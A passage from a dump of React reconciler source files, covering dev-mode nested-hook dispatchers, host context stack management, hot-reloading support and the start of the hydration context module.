(...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      warnInvalidHookAccess();\n      mountHookTypesDev();\n      return mountEvent(callback);\n    },\n  };\n\n  InvalidNestedHooksDispatcherOnUpdateInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      warnInvalidContextAccess();\n      return readContext(context);\n    },\n    use<T>(usable: Usable<T>): T {\n      warnInvalidHookAccess();\n      return use(usable);\n    },\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateOptimistic(passthrough, reducer);\n    },\n    useMemoCache(size: number): Array<any> {\n      warnInvalidHookAccess();\n      return useMemoCache(size);\n    },\n    useHostTransitionStatus,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      updateHookTypesDev();\n      return updateRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateEvent(callback);\n    },\n  };\n\n  InvalidNestedHooksDispatcherOnRerenderInDEV = {\n    readContext<T>(context: ReactContext<T>): T {\n      warnInvalidContextAccess();\n      return readContext(context);\n    },\n    use<T>(usable: Usable<T>): T {\n      warnInvalidHookAccess();\n      return use(usable);\n    },\n    useCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useCallback';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateCallback(callback, deps);\n    },\n    useContext<T>(context: ReactContext<T>): T {\n      currentHookNameInDev = 'useContext';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return readContext(context);\n    },\n    useEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateEffect(create, deps);\n    },\n    useImperativeHandle<T>(\n      ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n      create: () => T,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useImperativeHandle';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateImperativeHandle(ref, create, deps);\n    },\n    useInsertionEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useInsertionEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateInsertionEffect(create, deps);\n    },\n    useLayoutEffect(\n      create: () => (() => void) | void,\n      deps: Array<mixed> | void | null,\n    ): void {\n      currentHookNameInDev = 'useLayoutEffect';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateLayoutEffect(create, deps);\n    },\n    useMemo<T>(create: () => T, deps: Array<mixed> | void | null): T {\n      currentHookNameInDev = 'useMemo';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return updateMemo(create, deps);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useReducer<S, I, A>(\n      reducer: (S, A) => S,\n      initialArg: I,\n      init?: I => S,\n    ): [S, Dispatch<A>] {\n      currentHookNameInDev = 'useReducer';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return rerenderReducer(reducer, initialArg, init);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useRef<T>(initialValue: T): {current: T} {\n      currentHookNameInDev = 'useRef';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateRef(initialValue);\n    },\n    useState<S>(\n      initialState: (() => S) | S,\n    ): [S, Dispatch<BasicStateAction<S>>] {\n      currentHookNameInDev = 'useState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      const prevDispatcher = ReactSharedInternals.H;\n      ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n      try {\n        return rerenderState(initialState);\n      } finally {\n        ReactSharedInternals.H = prevDispatcher;\n      }\n    },\n    useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n      currentHookNameInDev = 'useDebugValue';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateDebugValue(value, formatterFn);\n    },\n    useDeferredValue<T>(value: T, initialValue?: T): T {\n      currentHookNameInDev = 'useDeferredValue';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return rerenderDeferredValue(value, initialValue);\n    },\n    useTransition(): [boolean, (() => void) => void] {\n      currentHookNameInDev = 'useTransition';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return rerenderTransition();\n    },\n    useSyncExternalStore<T>(\n      subscribe: (() => void) => () => void,\n      getSnapshot: () => T,\n      getServerSnapshot?: () => T,\n    ): T {\n      currentHookNameInDev = 'useSyncExternalStore';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);\n    },\n    useId(): string {\n      currentHookNameInDev = 'useId';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateId();\n    },\n    useFormState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useFormState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return rerenderActionState(action, initialState, permalink);\n    },\n    useActionState<S, P>(\n      action: (Awaited<S>, P) => S,\n      initialState: Awaited<S>,\n      permalink?: string,\n    ): [Awaited<S>, (P) => void, boolean] {\n      currentHookNameInDev = 'useActionState';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return rerenderActionState(action, initialState, permalink);\n    },\n    useOptimistic<S, A>(\n      passthrough: S,\n      reducer: ?(S, A) => S,\n    ): [S, (A) => void] {\n      currentHookNameInDev = 'useOptimistic';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return rerenderOptimistic(passthrough, reducer);\n    },\n    useMemoCache(size: number): Array<any> {\n      warnInvalidHookAccess();\n      return useMemoCache(size);\n    },\n    useHostTransitionStatus,\n    useCacheRefresh() {\n      currentHookNameInDev = 'useCacheRefresh';\n      updateHookTypesDev();\n      return updateRefresh();\n    },\n    useEffectEvent<Args, Return, F: (...Array<Args>) => Return>(\n      callback: F,\n    ): F {\n      currentHookNameInDev = 'useEffectEvent';\n      warnInvalidHookAccess();\n      updateHookTypesDev();\n      return updateEvent(callback);\n    },\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHostContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {StackCursor} from './ReactFiberStack';\nimport type {\n  Container,\n  HostContext,\n  TransitionStatus,\n} from './ReactFiberConfig';\nimport type {Hook} from './ReactFiberHooks';\n\nimport {\n  getChildHostContext,\n  getRootHostContext,\n  HostTransitionContext,\n  NotPendingTransition,\n  isPrimaryRenderer,\n} from './ReactFiberConfig';\nimport {createCursor, push, pop} from './ReactFiberStack';\n\nconst contextStackCursor: StackCursor<HostContext | null> = createCursor(null);\nconst contextFiberStackCursor: StackCursor<Fiber | null> = createCursor(null);\nconst rootInstanceStackCursor: StackCursor<Container | null> =\n  createCursor(null);\n\n// Represents the nearest host transition provider (in React DOM, a <form />)\n// NOTE: Since forms cannot be nested, and this feature is only implemented by\n// React DOM, we don't technically need this to be a stack. It could be a single\n// module variable instead.\nconst hostTransitionProviderCursor: StackCursor<Fiber | null> =\n  createCursor(null);\n\nfunction requiredContext<Value>(c: Value | null): Value {\n  if (__DEV__) {\n    if (c === null) {\n      console.error(\n        'Expected host context to exist. This error is likely caused by a bug ' +\n          'in React. Please file an issue.',\n      );\n    }\n  }\n  return (c: any);\n}\n\nfunction getCurrentRootHostContainer(): null | Container {\n  return rootInstanceStackCursor.current;\n}\n\nfunction getRootHostContainer(): Container {\n  const rootInstance = requiredContext(rootInstanceStackCursor.current);\n  return rootInstance;\n}\n\nexport function getHostTransitionProvider(): Fiber | null {\n  return hostTransitionProviderCursor.current;\n}\n\nfunction pushHostContainer(fiber: Fiber, nextRootInstance: Container): void {\n  // Push current root instance onto the stack;\n  // This allows us to reset root when portals are popped.\n  push(rootInstanceStackCursor, nextRootInstance, fiber);\n  // Track the context and the Fiber that provided it.\n  // This enables us to pop only Fibers that provide unique contexts.\n  push(contextFiberStackCursor, fiber, fiber);\n\n  // Finally, we need to push the host context to the stack.\n  // However, we can't just call getRootHostContext() and push it because\n  // we'd have a different number of entries on the stack depending on\n  // whether getRootHostContext() throws somewhere in renderer code or not.\n  // So we push an empty value first. This lets us safely unwind on errors.\n  push(contextStackCursor, null, fiber);\n  const nextRootContext = getRootHostContext(nextRootInstance);\n  // Now that we know this function doesn't throw, replace it.\n  pop(contextStackCursor, fiber);\n  push(contextStackCursor, nextRootContext, fiber);\n}\n\nfunction popHostContainer(fiber: Fiber) {\n  pop(contextStackCursor, fiber);\n  pop(contextFiberStackCursor, fiber);\n  pop(rootInstanceStackCursor, fiber);\n}\n\nfunction getHostContext(): HostContext {\n  const context = requiredContext(contextStackCursor.current);\n  return context;\n}\n\nfunction pushHostContext(fiber: Fiber): void {\n  const stateHook: Hook | null = fiber.memoizedState;\n  if (stateHook !== null) {\n    // Propagate the current state to all the descendents.\n    // We use Context as an implementation detail for this.\n    //\n    // NOTE: This assumes that there cannot be nested transition providers,\n    // because the only renderer that implements this feature is React DOM,\n    // and forms cannot be nested. If we did support nested providers, then\n    // we would need to push a context value even for host fibers that\n    // haven't been upgraded yet.\n    const transitionStatus: TransitionStatus = stateHook.memoizedState;\n    if (isPrimaryRenderer) {\n      HostTransitionContext._currentValue = transitionStatus;\n    } else {\n      HostTransitionContext._currentValue2 = transitionStatus;\n    }\n\n    // Only provide context if this fiber has been upgraded by a host\n    // transition. We use the same optimization for regular host context below.\n    push(hostTransitionProviderCursor, fiber, fiber);\n  }\n\n  const context: HostContext = requiredContext(contextStackCursor.current);\n  const nextContext = getChildHostContext(context, fiber.type);\n\n  // Don't push this Fiber's context unless it's unique.\n  if (context !== nextContext) {\n    // Track the context and the Fiber that provided it.\n    // This enables us to pop only Fibers that provide unique contexts.\n    push(contextFiberStackCursor, fiber, fiber);\n    push(contextStackCursor, nextContext, fiber);\n  }\n}\n\nfunction popHostContext(fiber: Fiber): void {\n  if (contextFiberStackCursor.current === fiber) {\n    // Do not pop unless this Fiber provided the current context.\n    // pushHostContext() only pushes Fibers that provide unique contexts.\n    pop(contextStackCursor, fiber);\n    pop(contextFiberStackCursor, fiber);\n  }\n\n  if (hostTransitionProviderCursor.current === fiber) {\n    // Do not pop unless this Fiber provided the current context. This is mostly\n    // a performance optimization, but conveniently it also prevents a potential\n    // data race where a host provider is upgraded (i.e. memoizedState becomes\n    // non-null) during a concurrent event. This is a bit of a flaw in the way\n    // we upgrade host components, but because we're accounting for it here, it\n    // should be fine.\n    pop(hostTransitionProviderCursor, fiber);\n\n    // When popping the transition provider, we reset the context value back\n    // to `NotPendingTransition`. We can do this because you're not allowed to nest forms. If\n    // we allowed for multiple nested host transition providers, then we'd\n    // need to reset this to the parent provider's status.\n    if (isPrimaryRenderer) {\n      HostTransitionContext._currentValue = NotPendingTransition;\n    } else {\n      HostTransitionContext._currentValue2 = NotPendingTransition;\n    }\n  }\n}\n\nexport {\n  getHostContext,\n  getCurrentRootHostContainer,\n  getRootHostContainer,\n  popHostContainer,\n  popHostContext,\n  pushHostContainer,\n  pushHostContext,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHotReloading.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/* eslint-disable react-internal/prod-error-codes */\n\nimport type {ReactElement} from 'shared/ReactElementType';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport {\n  flushSyncWork,\n  scheduleUpdateOnFiber,\n  flushPendingEffects,\n} from './ReactFiberWorkLoop';\nimport {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';\nimport {updateContainerSync} from './ReactFiberReconciler';\nimport {emptyContextObject} from './ReactFiberLegacyContext';\nimport {SyncLane} from './ReactFiberLane';\nimport {\n  ClassComponent,\n  FunctionComponent,\n  ForwardRef,\n  MemoComponent,\n  SimpleMemoComponent,\n} from './ReactWorkTags';\nimport {\n  REACT_FORWARD_REF_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_LAZY_TYPE,\n} from 'shared/ReactSymbols';\n\nexport type Family = {\n  current: any,\n};\n\nexport type RefreshUpdate = {\n  staleFamilies: Set<Family>,\n  updatedFamilies: Set<Family>,\n};\n\n// Resolves type to a family.\ntype RefreshHandler = any => Family | void;\n\n// Used by React Refresh runtime through DevTools Global Hook.\nexport type SetRefreshHandler = (handler: RefreshHandler | null) => void;\nexport type ScheduleRefresh = (root: FiberRoot, update: RefreshUpdate) => void;\nexport type ScheduleRoot = (root: FiberRoot, element: ReactNodeList) => void;\n\nlet resolveFamily: RefreshHandler | null = null;\nlet failedBoundaries: WeakSet<Fiber> | null = null;\n\nexport const setRefreshHandler = (handler: RefreshHandler | null): void => {\n  if (__DEV__) {\n    resolveFamily = handler;\n  }\n};\n\nexport function resolveFunctionForHotReloading(type: any): any {\n  if (__DEV__) {\n    if (resolveFamily === null) {\n      // Hot reloading is disabled.\n      return type;\n    }\n    const family = resolveFamily(type);\n    if (family === undefined) {\n      return type;\n    }\n    // Use the latest known implementation.\n    return family.current;\n  } else {\n    return type;\n  }\n}\n\nexport function resolveClassForHotReloading(type: any): any {\n  // No implementation differences.\n  return resolveFunctionForHotReloading(type);\n}\n\nexport function resolveForwardRefForHotReloading(type: any): any {\n  if (__DEV__) {\n    if (resolveFamily === null) {\n      // Hot reloading is disabled.\n      return type;\n    }\n    const family = resolveFamily(type);\n    if (family === undefined) {\n      // Check if we're dealing with a real forwardRef. Don't want to crash early.\n      if (\n        type !== null &&\n        type !== undefined &&\n        typeof type.render === 'function'\n      ) {\n        // ForwardRef is special because its resolved .type is an object,\n        // but it's possible that we only have its inner render function in the map.\n        // If that inner render function is different, we'll build a new forwardRef type.\n        const currentRender = resolveFunctionForHotReloading(type.render);\n        if (type.render !== currentRender) {\n          const syntheticType = {\n            $$typeof: REACT_FORWARD_REF_TYPE,\n            render: currentRender,\n          };\n          if (type.displayName !== undefined) {\n            (syntheticType: any).displayName = type.displayName;\n          }\n          return syntheticType;\n        }\n      }\n      return type;\n    }\n    // Use the latest known implementation.\n    return family.current;\n  } else {\n    return type;\n  }\n}\n\nexport function isCompatibleFamilyForHotReloading(\n  fiber: Fiber,\n  element: ReactElement,\n): boolean {\n  if (__DEV__) {\n    if (resolveFamily === null) {\n      // Hot reloading is disabled.\n      return false;\n    }\n\n    const prevType = fiber.elementType;\n    const nextType = element.type;\n\n    // If we got here, we know types aren't === equal.\n    let needsCompareFamilies = false;\n\n    const $$typeofNextType =\n      typeof nextType === 'object' && nextType !== null\n        ? nextType.$$typeof\n        : null;\n\n    switch (fiber.tag) {\n      case ClassComponent: {\n        if (typeof nextType === 'function') {\n          needsCompareFamilies = true;\n        }\n        break;\n      }\n      case FunctionComponent: {\n        if (typeof nextType === 'function') {\n          needsCompareFamilies = true;\n        } else if ($$typeofNextType === REACT_LAZY_TYPE) {\n          // We don't know the inner type yet.\n          // We're going to assume that the lazy inner type is stable,\n          // and so it is sufficient to avoid reconciling it away.\n          // We're not going to unwrap or actually use the new lazy type.\n          needsCompareFamilies = true;\n        }\n        break;\n      }\n      case ForwardRef: {\n        if ($$typeofNextType === REACT_FORWARD_REF_TYPE) {\n          needsCompareFamilies = true;\n        } else if ($$typeofNextType === REACT_LAZY_TYPE) {\n          needsCompareFamilies = true;\n        }\n        break;\n      }\n      case MemoComponent:\n      case SimpleMemoComponent: {\n        if ($$typeofNextType === REACT_MEMO_TYPE) {\n          // TODO: if it was but can no longer be simple,\n          // we shouldn't set this.\n          needsCompareFamilies = true;\n        } else if ($$typeofNextType === REACT_LAZY_TYPE) {\n          needsCompareFamilies = true;\n        }\n        break;\n      }\n      default:\n        return false;\n    }\n\n    // Check if both types have a family and it's the same one.\n    if (needsCompareFamilies) {\n      // Note: memo() and forwardRef() we'll compare outer rather than inner type.\n      // This means both of them need to be registered to preserve state.\n      // If we unwrapped and compared the inner types for wrappers instead,\n      // then we would risk falsely saying two separate memo(Foo)\n      // calls are equivalent because they wrap the same Foo function.\n      const prevFamily = resolveFamily(prevType);\n      // $FlowFixMe[not-a-function] found when upgrading Flow\n      if (prevFamily !== undefined && prevFamily === resolveFamily(nextType)) {\n        return true;\n      }\n    }\n    return false;\n  } else {\n    return false;\n  }\n}\n\nexport function markFailedErrorBoundaryForHotReloading(fiber: Fiber) {\n  if (__DEV__) {\n    if (resolveFamily === null) {\n      // Hot reloading is disabled.\n      return;\n    }\n    if (typeof WeakSet !== 'function') {\n      return;\n    }\n    if (failedBoundaries === null) {\n      failedBoundaries = new WeakSet();\n    }\n    failedBoundaries.add(fiber);\n  }\n}\n\nexport const scheduleRefresh: ScheduleRefresh = (\n  root: FiberRoot,\n  update: RefreshUpdate,\n): void => {\n  if (__DEV__) {\n    if (resolveFamily === null) {\n      // Hot reloading is disabled.\n      return;\n    }\n    const {staleFamilies, updatedFamilies} = update;\n    flushPendingEffects();\n    scheduleFibersWithFamiliesRecursively(\n      root.current,\n      updatedFamilies,\n      staleFamilies,\n    );\n    flushSyncWork();\n  }\n};\n\nexport const scheduleRoot: ScheduleRoot = (\n  root: FiberRoot,\n  element: ReactNodeList,\n): void => {\n  if (__DEV__) {\n    if (root.context !== emptyContextObject) {\n      // Super edge case: root has a legacy _renderSubtree context\n      // but we don't know the parentComponent so we can't pass it.\n      // Just ignore. We'll delete this with _renderSubtree code path later.\n      return;\n    }\n    updateContainerSync(element, root, null, null);\n    flushSyncWork();\n  }\n};\n\nfunction scheduleFibersWithFamiliesRecursively(\n  fiber: Fiber,\n  updatedFamilies: Set<Family>,\n  staleFamilies: Set<Family>,\n): void {\n  if (__DEV__) {\n    do {\n      const {alternate, child, sibling, tag, type} = fiber;\n\n      let candidateType = null;\n      switch (tag) {\n        case FunctionComponent:\n        case SimpleMemoComponent:\n        case ClassComponent:\n          candidateType = type;\n          break;\n        case ForwardRef:\n          candidateType = type.render;\n          break;\n        default:\n          break;\n      }\n\n      if (resolveFamily === null) {\n        throw new Error('Expected resolveFamily to be set during hot reload.');\n      }\n\n      let needsRender = false;\n      let needsRemount = false;\n      if (candidateType !== null) {\n        const family = resolveFamily(candidateType);\n        if (family !== undefined) {\n          if (staleFamilies.has(family)) {\n            needsRemount = true;\n          } else if (updatedFamilies.has(family)) {\n            if (tag === ClassComponent) {\n              needsRemount = true;\n            } else {\n              needsRender = true;\n            }\n          }\n        }\n      }\n      if (failedBoundaries !== null) {\n        if (\n          failedBoundaries.has(fiber) ||\n          // $FlowFixMe[incompatible-use] found when upgrading Flow\n          (alternate !== null && failedBoundaries.has(alternate))\n        ) {\n          needsRemount = true;\n        }\n      }\n\n      if (needsRemount) {\n        fiber._debugNeedsRemount = true;\n      }\n      if (needsRemount || needsRender) {\n        const root = enqueueConcurrentRenderForLane(fiber, SyncLane);\n        if (root !== null) {\n          scheduleUpdateOnFiber(root, fiber, SyncLane);\n        }\n      }\n      if (child !== null && !needsRemount) {\n        scheduleFibersWithFamiliesRecursively(\n          child,\n          updatedFamilies,\n          staleFamilies,\n        );\n      }\n\n      if (sibling === null) {\n        break;\n      }\n      fiber = sibling;\n    } while (true);\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberHydrationContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {\n  Instance,\n  TextInstance,\n  HydratableInstance,\n  ActivityInstance,\n  SuspenseInstance,\n  Container,\n  HostContext,\n} from './ReactFiberConfig';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {SuspenseState} from './ReactFiberSuspenseComponent';\nimport type {TreeContext} from './ReactFiberTreeContext';\nimport type {CapturedValue} from './ReactCapturedValue';\nimport type {HydrationDiffNode} from './ReactFiberHydrationDiffs';\n\nimport {\n  HostComponent,\n  HostSingleton,\n  HostRoot,\n  SuspenseComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\n\nimport {createCapturedValueAtFiber} from './ReactCapturedValue';\n\nimport {createFiberFromDehydratedFragment} from './ReactFiber';\nimport {\n  shouldSetTextContent,\n  supportsHydration,\n  supportsSingletons,\n  getNextHydratableSibling,\n  getNextHydratableSiblingAfterSingleton,\n  getFirstHydratableChild,\n  getFirstHydratableChildWithinContainer,\n  getFirstHydratableChildWithinActivityInstance,\n  getFirstHydratableChildWithinSuspenseInstance,\n  getFirstHydratableChildWithinSingleton,\n  hydrateInstance,\n  diffHydratedPropsForDevWarnings,\n  describeHydratableInstanceForDevWarnings,\n  hydrateTextInstance,\n  diffHydratedTextForDevWarnings,\n  hydrateActivityInstance,\n  hydrateSuspenseInstance,\n  getNextHydratableInstanceAfterActivityInstance,\n  getNextHydratableInstanceAfterSuspenseInstance,\n  shouldDeleteUnhydratedTailInstances,\n  resolveSingletonInstance,\n  canHydrateInstance,\n  canHydrateTextInstance,\n  canHydrateActivityInstance,\n  canHydrateSuspenseInstance,\n  canHydrateFormStateMarker,\n  isFormStateMarkerMatching,\n  validateHydratableInstance,\n  validateHydratableTextInstance,\n} from './ReactFiberConfig';\nimport {OffscreenLane} from './ReactFiberLane';\nimport {\n  getSuspendedTreeContext,\n  restoreSuspendedTreeContext,\n} from './ReactFiberTreeContext';\nimport {queueRecoverableErrors} from './ReactFiberWorkLoop';\nimport {getRootHostContainer, getHostContext} from './ReactFiberHostContext';\nimport {describeDiff} from './ReactFiberHydrationDiffs';\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\n\n// The deepest Fiber on the stack involved in a hydration context.\n// This may have been an insertion or a hydration.\nlet hydrationParentFiber: null | Fiber = null;\nlet nextHydratableInstance: null | HydratableInstance = null;\nlet isHydrating: boolean = false;\n\n// This flag allows for warning supression when we expect there to be mismatches\n// due to earlier mismatches or a suspended fiber.\nlet didSuspendOrErrorDEV: boolean = false;\n\n// Hydration differences found that haven't yet been logged.\nlet hydrationDiffRootDEV: null | HydrationDiffNode = null;\n\n// Hydration errors that were thrown inside this boundary\nlet hydrationErrors: Array<CapturedValue<mixed>> | null = null;\n\nlet rootOrSingletonContext = false;\n\n// Builds a common ancestor tree from the root down for collecting diffs.\nfunction buildHydrationDiffNode(\n  fiber: Fiber,\n  distanceFromLeaf: number,\n): HydrationDiffNode {\n  if (fiber.return === null) {\n    // We're at the root.\n    if (hydrationDiffRootDEV === null) {\n      hydrationDiffRootDEV = {\n        fiber: fiber,\n        children: [],\n        serverProps: undefined,\n        serverTail: [],\n        distanceFromLeaf: distanceFromLeaf,\n      };\n    } else if (hydrationDiffRootDEV.fiber !== fiber) {\n      throw new Error(\n        'Saw multiple hydration diff roots in a pass. This is a bug in React.',\n      );\n    } else if (hydrationDiffRootDEV.distanceFromLeaf > distanceFromLeaf) {\n      hydrationDiffRootDEV.distanceFromLeaf = distanceFromLeaf;\n    }\n    return hydrationDiffRootDEV;\n  }\n  const siblings = buildHydrationDiffNode(\n    fiber.return,\n    distanceFromLeaf + 1,\n  ).children;\n  // The same node may already exist in the parent. Since we currently always render depth first\n  // and rerender if we suspend or terminate early, if a shared ancestor was added we should still\n  // be inside of that shared ancestor which means it was the last one to be added. If this changes\n  // we may have to scan the whole set.\n  if (siblings.length > 0 && siblings[siblings.length - 1].fiber === fiber) {\n    const existing = siblings[siblings.length - 1];\n    if (existing.distanceFromLeaf > distanceFromLeaf) {\n      existing.distanceFromLeaf = distanceFromLeaf;\n    }\n    return existing;\n  }\n  const newNode: HydrationDiffNode = {\n    fiber: fiber,\n    children: [],\n    serverProps: undefined,\n    serverTail: [],\n    distanceFromLeaf: distanceFromLeaf,\n  };\n  siblings.push(newNode);\n  return newNode;\n}\n\nfunction warnIfHydrating() {\n  if (__DEV__) {\n    if (isHydrating) {\n      console.error(\n        'We should not be hydrating here. This is a bug in React. Please file a bug.',\n      );\n    }\n  }\n}\n\nexport function markDidThrowWhileHydratingDEV() {\n  if (__DEV__) {\n    didSuspendOrErrorDEV = true;\n  }\n}\n\nfunction enterHydrationState(fiber: Fiber): boolean {\n  if 